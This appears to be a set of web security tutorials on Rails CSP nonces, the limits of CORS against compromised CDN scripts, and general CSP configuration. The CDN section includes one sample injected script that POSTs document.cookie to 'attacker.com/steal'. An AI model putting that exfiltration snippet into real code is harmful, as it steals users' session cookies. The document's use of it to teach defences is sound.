🔐 Configuring CSP Nonce in Ruby on Rails 7/8

Content Security Policy (CSP) adds a powerful security layer to prevent Cross Site Scripting (XSS) attacks. Rails makes CSP easy by generating a nonce (random token per request) that you attach to inline scripts. This ensures only scripts generated by your server can run — attackers can’t inject HTML/JS and execute it.

A nonce is a number used once — a unique per-request token (e.g. nonce-faf83af82392). Add it to inline <script> tags:

<script nonce="<%= content_security_policy_nonce %>">
  // safe inline script
</script>

The browser only runs the script if the nonce matches the value advertised in the Content-Security-Policy response header.

Rails ships with a CSP initializer. Edit or create config/initializers/content_security_policy.rb and configure script_src to allow nonces:

# config/initializers/content_security_policy.rb
Rails.application.configure do
  config.content_security_policy do |policy|
    policy.default_src :self
    policy.font_src    :self, :https, :data
    policy.img_src     :self, :https, :data
    policy.object_src  :none
    policy.style_src   :self, :https
    policy.script_src  :self, :https, :nonce # allow scripts with nonce
  end

  # Optional: report violations
  # policy.report_uri "/csp-violation-report-endpoint"
end

Restart your server after changing initializers.

Example app/views/layouts/application.html.erb using csp_meta_tag and per-request nonce:

<!DOCTYPE html>
<html>
<head>
  <title>MyApp</title>
  <%= csp_meta_tag %>
  <%= csrf_meta_tags %>
  <%= stylesheet_link_tag "application", "data-turbo-track": "reload" %>
  <%= javascript_include_tag "application", "data-turbo-track": "reload", defer: true %>
</head>
<body>
  <%= yield %>

  <!-- inline script with nonce -->
  <script nonce="<%= content_security_policy_nonce %>">
    console.log("CSP Nonce example script");
  </script>
</body>
</html>

Only this inline script will run; any injected script without the nonce will be blocked by the browser.

Turbo works fine with CSP nonces because Turbo prefers external script modules and does not require inline JavaScript. If you must return inline JS in Turbo responses (e.g., Turbo Streams that embed inline <script>), include the nonce on those scripts.

Stimulus controllers are loaded from external JavaScript (via import maps, webpack, or esbuild) — so they do not require inline scripts and thus are fully compatible with strict CSP policies. If you initialize Stimulus inline (not recommended), add the nonce:

<script nonce="<%= content_security_policy_nonce %>">
  // initialize application controllers
</script>

Best practice: keep all JS in app/javascript/controllers and avoid inline JS.

If you need to do a redirect from an HTML fragment returned to a Turbo frame, you might inline a small script. Add nonce like this:

<!-- returned inside a turbo frame response -->
<script nonce="<%= content_security_policy_nonce %>">
  Turbo.visit("<%= dashboard_path %>");
</script>

Open browser DevTools → Network → select a request → Response Headers. You should see something like:

Content-Security-Policy: script-src 'self' https: 'nonce-<value>'

You can also read the header in Rails tests or logs.

Verify forms include authenticity token (CSRF):

require "rails_helper"

RSpec.describe "CSRF token", type: :system do
  it "includes authenticity token in forms" do
    visit new_user_registration_path
    expect(page.html).to match(/name="authenticity_token"/)
  end
end

You can assert that the response includes a nonce and that an inline script was rendered with that nonce:

require "rails_helper"

RSpec.describe "CSP Nonce", type: :request do
  it "adds nonce to inline scripts" do
    get root_path

    csp_header = response.headers["Content-Security-Policy"]
    # extract nonce value from header (pattern depends on how you configured policy)
    nonce = csp_header[/nonce-(.*?)'/, 1]

    # ensure the body includes a script tag with the nonce
    expect(response.body).to include("nonce=\"#{nonce}\"")
  end
end

Note: header parsing may require adjusting the regex depending on quoting in your CSP header.

  • Avoid inline JS where possible — favors well-structured JS bundles.
  • Use nonces only when necessary (e.g., third-party scripts that are injected inline, small inline initializers returned in Turbo responses).
  • Test in production-like environment because browsers enforce CSP differently; dev tooling can be permissive.
  • Report-only mode during rollout: set policy.report_only = true to collect violations without blocking.
  • If inline scripts still blocked: confirm csp_meta_tag is present and that the inline <script> uses content_security_policy_nonce.
  • For external scripts blocked: ensure script_src includes the allowed host or https:.
  • If using secure_headers gem or a reverse proxy adding headers, ensure they don’t conflict.
  • Enable CSP with nonces for inline scripts when necessary.
  • Prefer Stimulus/Turbo with external JS modules — avoid inline code.
  • Test CSP and CSRF behavior in request/system specs.
  • Use report-only mode when rolling out strict CSP.

Quick checklist

  • Add policy.script_src :self, :https, :nonce in content_security_policy.rb
  • Use <%= csp_meta_tag %> in layout
  • Add nonce="<%= content_security_policy_nonce %>" to inline scripts
  • Move JS into app/javascript/controllers where possible
  • Add request/system specs to validate nonce and CSRF

🌐 Why CORS Doesn’t Protect You from Malicious CDNs (and How to Stay Safe) | Content Security Policy (CSP)

🔍 Introduction

Developers often assume CORS (Cross-Origin Resource Sharing) protects their websites from all cross-origin risks. However, while CORS effectively controls data access via APIs, it does NOT stop risks from external scripts like those served via a CDN (Content Delivery Network).

This blog explains:

  • Why CORS and CDN behave differently
  • Why external scripts can compromise your site
  • Best practices to secure your app

🤔 What Does CORS Actually Do?

CORS is a browser-enforced security mechanism that prevents JavaScript from reading responses from another origin unless explicitly allowed.

Example:

// Your site: https://example.com
fetch('https://api.example2.com/data') // blocked unless API sets CORS headers

If api.example2.com does not send:

Access-Control-Allow-Origin: https://example.com

The browser blocks the response.

Why?

To prevent cross-site data theft.


🧐 Why CDN Scripts Load Without CORS?

When you include a script via <script> or CSS via <link>:

<script src="https://cdn.com/lib.js"></script>
<link rel="stylesheet" href="https://cdn.com/styles.css" />

These resources are fetched and executed without CORS checks because:

  • They are treated as subresources, not API data.
  • The browser doesn’t expose raw content to JavaScript; it just executes it.

⚠️ But Here’s the Risk:

The included script runs with full privileges in your page context!

  • Can modify DOM
  • Access non-HttpOnly cookies
  • Exfiltrate data to a malicious server

💯 Real-World Attack Scenarios

  1. Compromised CDN:
    If https://cdn.com/lib.js is hacked, every site using it is compromised.
  2. Man-in-the-Middle Attack:
    If CDN uses HTTP instead of HTTPS, an attacker can inject malicious code.

Example Attack:

// Injected malicious script in compromised CDN
fetch('https://attacker.com/steal', {
  method: 'POST',
  body: JSON.stringify({ cookies: document.cookie })
});


🧐 Why CORS Doesn’t Help Here

  • CORS only applies to fetch/XHR made by your JavaScript.
  • A <script> tag is not subject to CORS; the browser assumes you trust that script.

❓How to Secure Your Site

1. Always Use HTTPS

Avoid HTTP CDN URLs. Example:
https://cdn.jsdelivr.net/...
http://cdn.jsdelivr.net/...

2. Use Subresource Integrity (SRI)

Ensure the script hasn’t been tampered with:

<script src="https://cdn.com/lib.js"
        integrity="sha384-abc123xyz"
        crossorigin="anonymous"></script>

If the hash doesn’t match, the browser blocks it.

3. Self-Host Critical Scripts

Host important libraries locally instead of depending on external CDNs.

4. Set Content Security Policy (CSP)

Restrict allowed script sources:

Content-Security-Policy: script-src 'self' https://cdn.com;


Diagram: Why CORS ≠ CDN Protection

Conclusion

  • CORS protects API calls, not scripts.
  • External scripts are powerful and dangerous if compromised.
  • Use HTTPS, SRI, CSP, and self-hosting for maximum safety.

🔐 Content Security Policy (CSP) – The Complete Guide for Web Security

🔍 Introduction

Even if you secure your API with CORS and validate CDN scripts with SRI, there’s still a risk of inline scripts, XSS (Cross-Site Scripting), and malicious script injections. That’s where Content Security Policy (CSP) comes in.

CSP is a powerful HTTP header that tells the browser which resources are allowed to load and execute.

🧐 Why CSP?

  • Blocks inline scripts and unauthorized external resources.
  • Reduces XSS attacks by whitelisting script origins.
  • Adds an extra layer beyond CORS and HTTPS.

How CSP Works

The server sends a Content-Security-Policy header, defining allowed resource sources.

Example:

Content-Security-Policy: script-src 'self' https://cdn.example.com;

This means:

  • Only load scripts from current origin (self) and cdn.example.com.
  • Block everything else.

Common CSP Directives

DirectivePurpose
default-srcDefault policy for all resources
script-srcAllowed sources for JavaScript
style-srcAllowed CSS sources
img-srcAllowed image sources
font-srcFonts sources
connect-srcAllowed AJAX/WebSocket endpoints

Example 1: Strict CSP for Rails App

In Rails, set CSP in config/initializers/content_security_policy.rb:

Rails.application.config.content_security_policy do |policy|
  policy.default_src :self
  policy.script_src :self, 'https://cdn.jsdelivr.net'
  policy.style_src  :self, 'https://cdn.jsdelivr.net'
  policy.img_src    :self, :data
  policy.connect_src :self, 'https://api.example.com'
end

Enable CSP in response headers:

Rails.application.config.content_security_policy_report_only = false

Example 2: CSP in React + Vite App

If deploying via Nginx, add in nginx.conf:

add_header Content-Security-Policy "default-src 'self'; script-src 'self' https://cdn.jsdelivr.net; style-src 'self' https://cdn.jsdelivr.net; connect-src 'self' https://api.example.com";

For Netlify or Vercel, add in _headers file:

/*
  Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.jsdelivr.net; style-src 'self' https://cdn.jsdelivr.net; connect-src 'self' https://api.example.com


✋ Prevent Inline Script Issues

By default, CSP blocks inline scripts. To allow, you can:

  • Use hash-based CSP:
Content-Security-Policy: script-src 'self' 'sha256-AbCdEf...';

  • Or nonce-based CSP (preferred for dynamic scripts):
Content-Security-Policy: script-src 'self' 'nonce-abc123';

Add nonce dynamically in Rails views:

<script nonce="<%= content_security_policy_nonce %>">alert('Safe');</script>

CSP Reporting

Enable Report-Only mode first:

Content-Security-Policy-Report-Only: script-src 'self'; report-uri /csp-violation-report

This logs violations without blocking, so you can test before enforcement.

Visual Overview

Conclusion

CSP + HTTPS + SRI = Strong Defense Against XSS and Injection Attacks.